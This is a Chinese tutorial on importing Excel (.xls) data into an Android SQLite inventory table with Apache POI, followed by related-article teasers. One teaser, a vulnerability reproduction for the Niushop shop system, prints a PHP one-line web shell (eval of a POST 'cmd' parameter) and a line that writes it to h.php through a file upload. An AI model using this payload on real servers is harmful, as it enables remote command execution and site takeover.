安卓从Excel文件导入数据到SQLite数据库的实现

在现代的移动应用开发中,数据的处理和管理是至关重要的一环。有时候,我们需要从外部文件(如Excel文件)中导入数据,以便在应用程序中使用。本文将介绍如何在Android应用中使用Java代码从一个Excel文件中导入数据到SQLite数据库。

首先,我们需要定义一个方法importFromExcelFile(),这个方法将负责从指定的Excel文件中读取数据,并将其插入到SQLite数据库中。以下是这个方法的详细实现
implementation ‘org.apache.poi:poi:5.2.3’
implementation ‘org.apache.poi:poi-ooxml:5.2.3’

import org.apache.poi.hssf.usermodel.HSSFWorkbook;
import org.apache.poi.ss.usermodel.Cell;
import org.apache.poi.ss.usermodel.Row;
import org.apache.poi.ss.usermodel.Sheet;
import org.apache.poi.ss.usermodel.Workbook;




private void importFromExcelFile() {
    // 获取下载目录
    File downloadsDir = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS);
    // 指定Excel文件的名称(此处为inventory.xls)
    File file = new File(downloadsDir, "inventory.xls"); // Replace with your XLS file name

    // 检查文件是否存在
    if (file.exists()) {
        try (FileInputStream fis = new FileInputStream(file)) {
            // 使用HSSFWorkbook读取Excel文件(适用于.xls格式)
            Workbook workbook = new HSSFWorkbook(fis);
            // 获取第一个工作表
            Sheet sheet = workbook.getSheetAt(0);

            // 遍历工作表中的每一行
            for (Row row : sheet) {
                // 跳过标题行
                if (row.getRowNum() == 0) {
                    continue;
                }

                // 从单元格中读取数据
                String id = getCellStringValue(row.getCell(0));
                String itemName = getCellStringValue(row.getCell(1));
                String category = getCellStringValue(row.getCell(2));
                String description = getCellStringValue(row.getCell(3));
                int quantity = (int) getCellNumericValue(row.getCell(4));
                double costPrice = getCellNumericValue(row.getCell(5));
                double sellingPrice = getCellNumericValue(row.getCell(6));

                // 准备数据插入到SQLite数据库
                ContentValues cv = new ContentValues();
                cv.put("id", id);
                cv.put("itemname", itemName);
                cv.put("category", category);
                cv.put("description", description);
                cv.put("quantity", quantity);
                cv.put("costprice", costPrice);
                cv.put("sellingprice", sellingPrice);

                // 插入数据到数据库
                db.insert("inventory", null, cv);
            }

            // 提示用户数据已成功导入
            Toast.makeText(this, "数据已成功导入数据库", Toast.LENGTH_SHORT).show();
            // 刷新库存数据
            ids.clear();
            loadInventoryData();
        } catch (IOException e) {
            // 记录错误日志
            Log.e("ImportError", "Error reading Excel file", e);
            // 提示用户读取Excel文件时出错
            Toast.makeText(this, "读取Excel文件时出错", Toast.LENGTH_SHORT).show();
        }
    } else {
        // 提示用户找不到Excel文件
        Toast.makeText(this, "找不到Excel文件", Toast.LENGTH_SHORT).show();
    }
}


 private void loadInventoryData() {
        ids.clear(); // Ensure the ids list is cleared before loading data
        try {
            Cursor c = db.rawQuery("SELECT id FROM inventory;", null);
            if (c != null) {
                while (c.moveToNext()) {
                    ids.add(c.getString(0));
                }
                c.close();
            } else {
                Log.e("loadInventoryData", "Cursor is null");
            }
            inventoryAdapter = new inventoryAdapter(ids, db, this);
            recyclerView.setAdapter(inventoryAdapter);
        } catch (Exception e) {
            Log.e("loadInventoryData", "Error loading inventory data", e);
            Toast.makeText(inventory.this, "Error loading inventory data: " + e.getMessage(), Toast.LENGTH_LONG).show();
        }
    }

代码解析
获取下载目录和文件路径:
使用Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS)获取设备的下载目录。
创建一个指向inventory.xls文件的File对象。
检查文件是否存在:
使用file.exists()方法检查文件是否存在。
读取Excel文件:
使用FileInputStream读取Excel文件。
使用HSSFWorkbook(适用于.xls格式)读取Excel文件内容。
获取第一个工作表(Sheet)。
遍历工作表中的数据:
使用for (Row row : sheet)遍历工作表中的每一行。
跳过第一行(标题行)。
使用自定义方法getCellStringValue和getCellNumericValue从单元格中读取字符串和数字值。
将数据插入SQLite数据库:
使用ContentValues对象准备要插入的数据。
使用db.insert(“inventory”, null, cv)将数据插入到数据库的inventory表中。
提示用户操作结果:
使用Toast提示用户数据已成功导入或读取文件时出错。
刷新库存数据:
清除ids列表(假设这是一个用于缓存数据的列表)。
调用loadInventoryData()方法刷新库存数据。
注意事项
本示例使用HSSFWorkbook读取.xls格式的Excel文件。如果需要读取.xlsx格式的文件,应使用XSSFWorkbook。
需要在AndroidManifest.xml中申请读取外部存储的权限(READ_EXTERNAL_STORAGE)。
在实际开发中,可能需要更复杂的错误处理和用户交互逻辑。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/941815.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

苍穹外卖-day05redis 缓存的学习

苍穹外卖-day05 课程内容 Redis入门Redis数据类型Redis常用命令在Java中操作Redis店铺营业状态设置 学习目标 了解Redis的作用和安装过程 掌握Redis常用的数据类型 掌握Redis常用命令的使用 能够使用Spring Data Redis相关API操作Redis 能够开发店铺营业状态功能代码 功能实…

CV-OCR经典论文解读|An Empirical Study of Scaling Law for OCR/OCR 缩放定律的实证研究

论文标题 An Empirical Study of Scaling Law for OCR OCR 缩放定律的实证研究 论文链接: An Empirical Study of Scaling Law for OCR论文下载 论文作者 Miao Rang, Zhenni Bi, Chuanjian Liu, Yunhe Wang, Kai Han 内容简介 本论文在光学字符识别&#xf…

PTA数据结构题目:链表操作集合

寻找结点 插入结点 错误分析 while (prev ! NULL && prev->Next ! P) 为什么我写成 while (prev->Next ! P && prev ! NULL) 的时候会发生段错误,这两种写法逻辑上不是一样的吗? 野指针 逻辑顺序导致的潜在风险 在 C 语言中&am…

路由器做WPAD、VPN、透明代理中之间一个

本文章将采用家中TP-Link路由器 路由器进行配置DNS DNS理解知识本文DNS描述参考:网络安全基础知识&中间件简单介绍_计算机网络中间件-CSDN博客 TP LINK未知的错误,错误编号:-22025 TP-LINK 认证界面地址:https://realnam…

Java 小白入门必备知识点

11.我们发现现在有两个x,一个是成员变量,一个是局部变量,在sum方法中为了区分两个s,我们给成员变量前加上this以此来区分成员变量和局部变量 12.成员方法:在java中,必须通过方法才能完成对类和对象的属性操作&#xf…

gitlab代码推送

点击这个√ 修改的文件全部选上 填好提交的名称 点击commit 选取提交的 gitlab 库 点击Push

vscode添加全局宏定义

利用vscode编辑代码时,设置了禁用非活动区域着色后,在一些编译脚本中配置的宏又识别不了 遇到#ifdef包住的代码就会变暗色,想查看代码不是很方便。如下图: 一 解决: 在vscode中添加全局宏定义。 二 步骤&#xff1a…

【电路设计】LDO旁路电容的选择

本文章是笔者整理的备忘笔记。希望在帮助自己温习避免遗忘的同时,也能帮助其他需要参考的朋友。如有谬误,欢迎大家进行指正。 一、引言 虽然人们普遍认为电容是解决噪声相关问题的灵丹妙药,但是电容的价值并不仅限于此。设计人员常常只想到…

生产看板管理系统涵盖哪些方面

嘿,各位搞生产管理的朋友,肯定都碰到过些麻烦事儿吧。我就寻思着,能不能弄出个 “明明白白” 的工作场地呢?让员工和管理人员都能随时查查生产进度,一发现生产里有啥问题就能立马知道。 生产进度不好追踪生产过程不清…

Python|Pyppeteer实现全自动化触发reCaptcha验证码(28)

前言 本文是该专栏的第28篇,结合优质项目案例持续分享Pyppeteer的干货知识,记得关注。 针对近期多位同学,询问如何自动化触发“reCaptcha验证码”的问题。笔者在本文,将结合实战项目完整代码进行详细说明。 对“reCaptcha验证码”感兴趣的同学,千万别错过。 废话不多说,…

SpringBoot介绍以及基本注解和应用

一.Spring Boot 简介(脚手架) 1.简介 简化Spring应用开发的一个框架; 整个Spring技术栈的一个大整合; J2EE开发的一站式解决方案; 优点:快速创建独立运行的spring项目以及与主流框架集成 使用嵌入式的S…

Niushop开源商城(漏洞复现)

文件上传漏洞 注册一个账号后登录 在个人中心修改个人头像 选择我们的图片马 #一句话(不想麻烦的选择一句话也可以) <?php eval($_POST["cmd"]);?> #生成h.php文件 <?php fputs(fopen(h.php,w),<?php eval($_POST["cmd"]);?>); ?&…

容器技术所涉及Linux内核关键技术

容器技术所涉及Linux内核关键技术 一、容器技术前世今生 1.1 1979年 — chroot 容器技术的概念可以追溯到1979年的UNIX chroot。它是一套“UNIX操作系统”系统&#xff0c;旨在将其root目录及其它子目录变更至文件系统内的新位置&#xff0c;且只接受特定进程的访问。这项功…

攻防世界 web view_source

开启场景 右键用不了就 F12 试试&#xff0c;然后看见了 flag cyberpeace{62caa734bc21cc4f9dc97ece9a882cd3}

如何保护你的 iOS 应用免受逆向工程攻击

逆向工程是分析和解构软件以理解其工作原理的过程。针对 iOS 应用&#xff0c;逆向工程通常涉及分析已编译的二进制文件&#xff08;机器可读的代码&#xff09;&#xff0c;并将其转化为更容易被人类理解的形式。这使得攻击者能够检查应用的逻辑、理解数据处理的方式&#xff…

C++进阶(二)--面向对象--继承

目录 一、继承的概念及定义 1.继承的概念 2.继承的定义 定义格式 继承方式和访问限定符 继承基类成员访问⽅式的变化 3.继承类模板 二、基类和派生类对象赋值转换 三、继承中的作用域 四、派⽣类的默认成员函数 五、继承与友元 六、继承与静态成员 七、多继承及其…

STM32串口第一次接收数据时第一个字节丢失的问题

解决方法&#xff1a;开启中断之前&#xff0c;先清除标志位【1】。 串口清除标志位&#xff1a; __HAL_UART_CLEAR_PEFLAG(&huart1); HAL_UART_Receive_IT(&huart1,&RxUart, 1); 定时器清除标志位&#xff1a; __HAL_TIM_CLEAR_FLAG(&htim3,TIM_FLAG_UPDATE);…

为什么要用云电脑玩游戏?5大好处揭秘,ToDesk云机性能强又易用

电脑在人们日常的工作与生活中无疑是颇为重要的。无论是学生撰写论文报告、企业白领处理数据图形等事项&#xff0c;还是游戏迷、影视迷们畅玩游戏或观看视频都难免要经常用到。拥有一台性能配置优质并且内置软件全面的电脑&#xff0c;对各类群体来说都大有益处&#xff0c;尤…

深入理解批量归一化(BN):原理、缺陷与跨小批量归一化(CBN)

在训练深度神经网络时&#xff0c;批量归一化&#xff08;Batch Normalization&#xff0c;简称BN&#xff09;是一种常用且有效的技术&#xff0c;它帮助解决了深度学习中训练过程中的梯度消失、梯度爆炸和训练不稳定等。然而&#xff0c;BN也有一些局限性&#xff0c;特别是在…

iptables交叉编译(Hisiav300平台)

参考文章&#xff1a;https://blog.csdn.net/Bgm_Nilbb/article/details/135714738 https://bbs.archlinux.org/viewtopic.php?pid1701065 1、libmnl 交叉编译 tar xvf libmnl-1.0.5.tar.bz2 sudo chmod 777 -R libmnl-1.0.5 cd libmnl-1.0.5 mkdir _install //host和CC需要修…